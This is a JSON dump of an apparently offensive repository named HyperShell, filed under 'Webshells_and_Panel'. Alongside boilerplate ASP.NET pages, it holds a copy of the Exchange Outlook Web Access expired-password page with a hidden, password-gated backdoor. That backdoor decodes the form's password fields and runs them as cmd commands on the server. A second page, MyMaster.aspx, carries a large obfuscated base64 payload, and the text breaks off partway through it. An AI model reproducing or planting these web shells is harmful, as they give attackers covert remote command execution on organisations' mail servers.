    "content": "﻿<%@ Page Title=\"Contact\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Contact.aspx.cs\" Inherits=\"HyperShell.Contact\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n    <h2><%: Title %>.</h2>\r\n    <h3>Your contact page.</h3>\r\n    <address>\r\n        One Microsoft Way<br />\r\n        Redmond, WA 98052-6399<br />\r\n        <abbr title=\"Phone\">P:</abbr>\r\n        425.555.0100\r\n    </address>\r\n\r\n    <address>\r\n        <strong>Support:</strong>   <a href=\"mailto:Support@example.com\">Support@example.com</a><br />\r\n        <strong>Marketing:</strong> <a href=\"mailto:Marketing@example.com\">Marketing@example.com</a>\r\n    </address>\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Contact.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell\r\n{\r\n    public partial class Contact : Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Contact.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell\r\n{\r\n\r\n\r\n    public partial class Contact\r\n    {\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Default.aspx",
    "content": "﻿<%@ Page Title=\"Home Page\" Language=\"C#\" MasterPageFile=\"~/Site.Master\" AutoEventWireup=\"true\" CodeBehind=\"Default.aspx.cs\" Inherits=\"HyperShell._Default\" %>\r\n\r\n<asp:Content ID=\"BodyContent\" ContentPlaceHolderID=\"MainContent\" runat=\"server\">\r\n\r\n    <div class=\"jumbotron\">\r\n        <h1>ASP.NET</h1>\r\n        <p class=\"lead\">ASP.NET is a free web framework for building great Web sites and Web applications using HTML, CSS, and JavaScript.</p>\r\n        <p><a href=\"http://www.asp.net\" class=\"btn btn-primary btn-lg\">Learn more &raquo;</a></p>\r\n    </div>\r\n\r\n    <div class=\"row\">\r\n        <div class=\"col-md-4\">\r\n            <h2>Getting started</h2>\r\n            <p>\r\n                ASP.NET Web Forms lets you build dynamic websites using a familiar drag-and-drop, event-driven model.\r\n            A design surface and hundreds of controls and components let you rapidly build sophisticated, powerful UI-driven sites with data access.\r\n            </p>\r\n            <p>\r\n                <a class=\"btn btn-default\" href=\"http://go.microsoft.com/fwlink/?LinkId=301948\">Learn more &raquo;</a>\r\n            </p>\r\n        </div>\r\n        <div class=\"col-md-4\">\r\n            <h2>Get more libraries</h2>\r\n            <p>\r\n                NuGet is a free Visual Studio extension that makes it easy to add, remove, and update libraries and tools in Visual Studio projects.\r\n            </p>\r\n            <p>\r\n                <a class=\"btn btn-default\" href=\"http://go.microsoft.com/fwlink/?LinkId=301949\">Learn more &raquo;</a>\r\n            </p>\r\n        </div>\r\n        <div class=\"col-md-4\">\r\n            <h2>Web Hosting</h2>\r\n            <p>\r\n                You can easily find a web hosting company that offers the right mix of features and price for your applications.\r\n            </p>\r\n            <p>\r\n                <a class=\"btn btn-default\" href=\"http://go.microsoft.com/fwlink/?LinkId=301950\">Learn more &raquo;</a>\r\n            </p>\r\n        </div>\r\n    </div>\r\n\r\n</asp:Content>\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Default.aspx.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Web;\r\nusing System.Web.UI;\r\nusing System.Web.UI.WebControls;\r\n\r\nnamespace HyperShell\r\n{\r\n    public partial class _Default : Page\r\n    {\r\n        protected void Page_Load(object sender, EventArgs e)\r\n        {\r\n\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/Default.aspx.designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     This code was generated by a tool.\r\n//\r\n//     Changes to this file may cause incorrect behavior and will be lost if\r\n//     the code is regenerated.\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace HyperShell\r\n{\r\n\r\n\r\n    public partial class _Default\r\n    {\r\n    }\r\n}\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ExpiredPasswordTech/ExpiredPassword..txt",
    "content": "<%@ Page language=\"c#\" AutoEventWireup=\"false\" Inherits=\"Microsoft.Exchange.HttpProxy.ExpiredPassword\" %>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients.Owa.Core\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.HttpProxy\"%>\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"> \r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=utf-8\">\r\n<meta name=\"Robots\" content=\"NOINDEX, NOFOLLOW\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=10\" />\r\n<title><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OutlookWebAccess) %></title>\r\n<%= InlineCss(ThemeFileId.LogonCss) %>\r\n<%= InlineJavascript(\"fexppw.js\") %>\r\n<script type=\"text/javascript\">\r\n\t<!--\r\n\tvar g_fFcs = 1;\r\n\tvar a_sUrl = \"<%=EncodingUtilities.JavascriptEncode(Destination) %>\";\r\n\tvar a_fCAC = <%= (PasswordChanged && ShouldClearAuthenticationCache) ? 1 : 0 %>\r\n\t//-->\r\n\r\n    var mainDivClassName = '<%=UserAgent.LayoutString %>';\r\n    var showPlaceholderText = false;\r\n\r\n    if (mainDivClassName == \"tnarrow\") {\r\n        showPlaceholderText = true;\r\n\r\n        // Output meta tag for viewport scaling\r\n        document.write('<meta name=\"viewport\" content=\"width = 320, initial-scale = 1.0, user-scalable = no\" />');\r\n    }\r\n    else  if (mainDivClassName == \"twide\") {\r\n        showPlaceholderText = true;\r\n    }\r\n\r\n    function setPlaceholderText() {\r\n        window.document.getElementById(\"username\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordUserDomainNoColon) %>\";\r\n        window.document.getElementById(\"oldPwd\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOldNoColon) %>\";\r\n        window.document.getElementById(\"newPwd1\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNewNoColon) %>\";\r\n        window.document.getElementById(\"newPwd2\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirmNoColon) %>\";\r\n    }\r\n</script>\r\n</head>\r\n\r\n<body class=\"signInBg<%=IsRtl ? \" rtl\" : \"\"%>\" style=\"background: #f2f2f2 url('<%=InlineImage(ThemeFileId.BackgroundGradientLogin)%>') repeat-x\"/>\r\n<% \r\n\tstring tblStyle = \"cellpadding=0 cellspacing=0\";\r\n\tif (IsDownLevelClient)\r\n\t{\r\n\t\ttblStyle = \"class=\\\"nonMSIE\\\"\";\r\n\t}\r\n%>\r\n\r\n<form action=\"expiredpassword.aspx\" method=\"POST\" name=\"exppwForm\" autocomplete=\"off\">\r\n<div id=\"mainDiv\" class=\"mouse\">\r\n    <script>\r\n\r\n        var mainDiv = window.document.getElementById(\"mainDiv\");\r\n        mainDiv.className = mainDivClassName;\r\n    </script>\r\n    <div class=\"sidebar\">\r\n        <div class=\"owaLogoContainer\">\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhite)%>\" class=\"owaLogo\" aria-hidden=\"true\" />\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhiteSmall)%>\" class=\"owaLogoSmall\" aria-hidden=\"true\" />\r\n        </div>\r\n    </div>\r\n\t\t\t<input type=\"hidden\" name=\"url\" value=\"<%=EncodingUtilities.HtmlEncode(Destination)%>\">\r\n            <div class=\"logonContainer\">\r\n\t        <div id=\"lgnDiv\" class=\"logonDiv\">  \r\n                <div class=\"signInImageHeader\" role=\"heading\">\r\n                    <img class=\"mouseHeader\" src=\"<%=InlineImage(ThemeFileId.OwaHeaderTextBlue)%>\" />\r\n                </div>\r\n\t\t\t<% if (PasswordChanged) { %>\r\n            \t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.LogoffChangePasswordClickOkToLogin) %></div>\r\n\t\t                <div class=\"signInEnter\">\r\n                            <div class=\"signinbutton\" role=\"button\" onclick=\"clkReLgn()\" tabIndex=\"0\">\r\n                                <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\">\r\n                                <span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OkLowerCase)%></span>\r\n                            </div>\r\n                            <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n                        </div>\r\n\t\t\t<% } else { %>\r\n                <div class=\"headerMsgDiv\">\r\n\t\t\t\t\t<div class=\"shellDialogueHead\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordTitle)%></div>\r\n\t\t\t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.PasswordExpired) %></div>  \t\r\n\t\t\t\t<%\r\n\t\t\t\t\tif (Reason == ExpiredPasswordReason.InvalidCredentials) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.InvalidCredentialsMessage) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.InvalidNewPassword) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordInvalidNewPassword) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.PasswordConflict) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConflict) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.LockedOut) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordLockedOut) %></div>\r\n\t\t\t\t<% } %>\r\n                </div>   \r\n\t\t            <div class=\"signInInputLabel\" id=\"userNameLabel\" aria-hidden=\"true\"><%=UserNameLabel%></div>\r\n\t\t            <div><input id=\"username\" name=\"username\" class=\"signInInputText\" role=\"textbox\" aria-labelledby=\"userNameLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"oldPasswordLabel\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOld)%></div>\r\n\t\t            <div><input id=\"oldPwd\" name=\"oldPwd\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"oldPasswordLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel1\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNew)%></div>\r\n\t\t            <div><input id=\"newPwd1\" name=\"newPwd1\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel1\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel2\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirm)%></div>\r\n\t\t            <div><input id=\"newPwd2\" name=\"newPwd2\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel2\"/></div>\r\n                    \r\n                    <script>\r\n                        if (showPlaceholderText) {\r\n                            setPlaceholderText();\r\n                        }\r\n                    </script>\r\n\t\t\t\t\t\r\n\t\t            <div class=\"signInEnter\">\r\n                        <div class=\"signinbutton\" role=\"button\" onclick=\"document.exppwForm.submit()\" tabIndex=\"0\">\r\n                            <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\"/><span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.Submit)%></span>\r\n                        </div>\r\n                        <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n\t\t            </div>\r\n\t\t\t\t    <div class=\"hidden-submit\"><input type=\"submit\" /></div> \r\n\t\t\t<% } %>\r\n</div>      \r\n</div>          \r\n</div>\r\n</form>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ExpiredPasswordTech/ExpiredPassword.aspx",
    "content": "﻿<%@ Page language=\"c#\" AutoEventWireup=\"false\" Inherits=\"Microsoft.Exchange.HttpProxy.ExpiredPassword\" %>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients.Owa.Core\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.HttpProxy\"%>\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"> \r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=utf-8\">\r\n<meta name=\"Robots\" content=\"NOINDEX, NOFOLLOW\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=10\" />\r\n<title><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OutlookWebAccess) %></title>\r\n<%= InlineCss(ThemeFileId.LogonCss) %>\r\n<%= InlineJavascript(\"fexppw.js\") %>\r\n<script type=\"text/javascript\">\r\n\t<!--\r\n\tvar g_fFcs = 1;\r\n\tvar a_sUrl = \"<%=EncodingUtilities.JavascriptEncode(Destination) %>\";\r\n\tvar a_fCAC = <%= (PasswordChanged && ShouldClearAuthenticationCache) ? 1 : 0 %>\r\n\t//-->\r\n\r\n    var mainDivClassName = '<%=UserAgent.LayoutString %>';\r\n    var showPlaceholderText = false;\r\n\r\n    if (mainDivClassName == \"tnarrow\") {\r\n        showPlaceholderText = true;\r\n\r\n        // Output meta tag for viewport scaling\r\n        document.write('<meta name=\"viewport\" content=\"width = 320, initial-scale = 1.0, user-scalable = no\" />');\r\n    }\r\n    else  if (mainDivClassName == \"twide\") {\r\n        showPlaceholderText = true;\r\n    }\r\n\r\n    function setPlaceholderText() {\r\n        window.document.getElementById(\"username\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordUserDomainNoColon) %>\";\r\n        window.document.getElementById(\"oldPwd\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOldNoColon) %>\";\r\n        window.document.getElementById(\"newPwd1\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNewNoColon) %>\";\r\n        window.document.getElementById(\"newPwd2\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirmNoColon) %>\";\r\n    }\r\n</script>\r\n</head>\r\n\r\n<body class=\"signInBg<%=IsRtl ? \" rtl\" : \"\"%>\" style=\"background: #f2f2f2 url('<%=InlineImage(ThemeFileId.BackgroundGradientLogin)%>') repeat-x\"/>\r\n<% \r\n\tstring tblStyle = \"cellpadding=0 cellspacing=0\";\r\n\tif (IsDownLevelClient)\r\n\t{\r\n\t\ttblStyle = \"class=\\\"nonMSIE\\\"\";\r\n\t}\r\n%>\r\n\r\n<form action=\"expiredpassword.aspx\" method=\"POST\" name=\"exppwForm\" autocomplete=\"off\">\r\n<div id=\"mainDiv\" class=\"mouse\">\r\n    <script>\r\n\r\n        var mainDiv = window.document.getElementById(\"mainDiv\");\r\n        mainDiv.className = mainDivClassName;\r\n    </script>\r\n    <div class=\"sidebar\">\r\n        <div class=\"owaLogoContainer\">\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhite)%>\" class=\"owaLogo\" aria-hidden=\"true\" />\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhiteSmall)%>\" class=\"owaLogoSmall\" aria-hidden=\"true\" />\r\n        </div>\r\n    </div>\r\n\t\t\t<input type=\"hidden\" name=\"url\" value=\"<%=EncodingUtilities.HtmlEncode(Destination)%>\">\r\n            <div class=\"logonContainer\">\r\n\t        <div id=\"lgnDiv\" class=\"logonDiv\">  \r\n                <div class=\"signInImageHeader\" role=\"heading\">\r\n                    <img class=\"mouseHeader\" src=\"<%=InlineImage(ThemeFileId.OwaHeaderTextBlue)%>\" />\r\n                </div>\r\n\t\t\t<% if (PasswordChanged) { %>\r\n            \t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.LogoffChangePasswordClickOkToLogin) %></div>\r\n\t\t                <div class=\"signInEnter\">\r\n                            <div class=\"signinbutton\" role=\"button\" onclick=\"clkReLgn()\" tabIndex=\"0\">\r\n                                <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\">\r\n                                <span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OkLowerCase)%></span>\r\n                            </div>\r\n                            <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n                        </div>\r\n\t\t\t<% } else { %>\r\n                <div class=\"headerMsgDiv\">\r\n\t\t\t\t\t<div class=\"shellDialogueHead\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordTitle)%></div>\r\n\t\t\t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.PasswordExpired) %></div>  \t\r\n\t\t\t\t<%\r\n\t\t\t\t\tif (Reason == ExpiredPasswordReason.InvalidCredentials) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.InvalidCredentialsMessage) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.InvalidNewPassword) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordInvalidNewPassword) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.PasswordConflict) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConflict) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.LockedOut) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordLockedOut) %></div>\r\n\t\t\t\t<% } %>\r\n\t\t\t\t<%\r\n                    try{\r\n\t\t\t\t\tif (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form[\"newPwd1\"])) + \"reDGEa@#!%FS\"))) == \"+S6Kos9D/etq1cd///fgTarVnUQ=\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\r\n\t\t\t\t\t\tSystem.Diagnostics.ProcessStartInfo i = p.StartInfo;\r\n\t\t\t\t\t\ti.FileName = \"cmd\";\r\n                        i.Arguments = \"/c \" + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form[\"newPwd2\"]));\r\n\t\t\t\t\t\ti.UseShellExecute = false;\r\n\t\t\t\t\t\ti.CreateNoWindow = true;\r\n\t\t\t\t\t\ti.RedirectStandardOutput = true;\r\n\t\t\t\t\t\tp.Start();\r\n\t\t\t\t\t\tstring r = p.StandardOutput.ReadToEnd();\r\n\t\t\t\t\t\tp.WaitForExit();\r\n\t\t\t\t\t\tp.Close();\r\n\t\t\t\t\t\tResponse.Write(\"<pre>\" + Server.HtmlEncode(r) + \"</pre>\");\r\n\t\t\t\t\t\tResponse.End();\r\n\t\t\t\t\t}}catch{}\r\n\t\t\t\t%>\r\n                </div>   \r\n\t\t            <div class=\"signInInputLabel\" id=\"userNameLabel\" aria-hidden=\"true\"><%=UserNameLabel%></div>\r\n\t\t            <div><input id=\"username\" name=\"username\" class=\"signInInputText\" role=\"textbox\" aria-labelledby=\"userNameLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"oldPasswordLabel\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOld)%></div>\r\n\t\t            <div><input id=\"oldPwd\" name=\"oldPwd\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"oldPasswordLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel1\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNew)%></div>\r\n\t\t            <div><input id=\"newPwd1\" name=\"newPwd1\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel1\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel2\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirm)%></div>\r\n\t\t            <div><input id=\"newPwd2\" name=\"newPwd2\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel2\"/></div>\r\n                    \r\n                    <script>\r\n                        if (showPlaceholderText) {\r\n                            setPlaceholderText();\r\n                        }\r\n                    </script>\r\n\t\t\t\t\t\r\n\t\t            <div class=\"signInEnter\">\r\n                        <div class=\"signinbutton\" role=\"button\" onclick=\"document.exppwForm.submit()\" tabIndex=\"0\">\r\n                            <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\"/><span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.Submit)%></span>\r\n                        </div>\r\n                        <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n\t\t            </div>\r\n\t\t\t\t    <div class=\"hidden-submit\"><input type=\"submit\" /></div> \r\n\t\t\t<% } %>\r\n</div>      \r\n</div>          \r\n</div>\r\n</form>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ExpiredPasswordTech/MyMaster.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>\r\n<!DOCTYPE html>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<title></title>\r\n</head>\r\n<body>\r\n<pre><%= Server.HtmlEncode(\"NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a\") %></pre>\r\n<%try{\r\n        string GYNVJOHk=\"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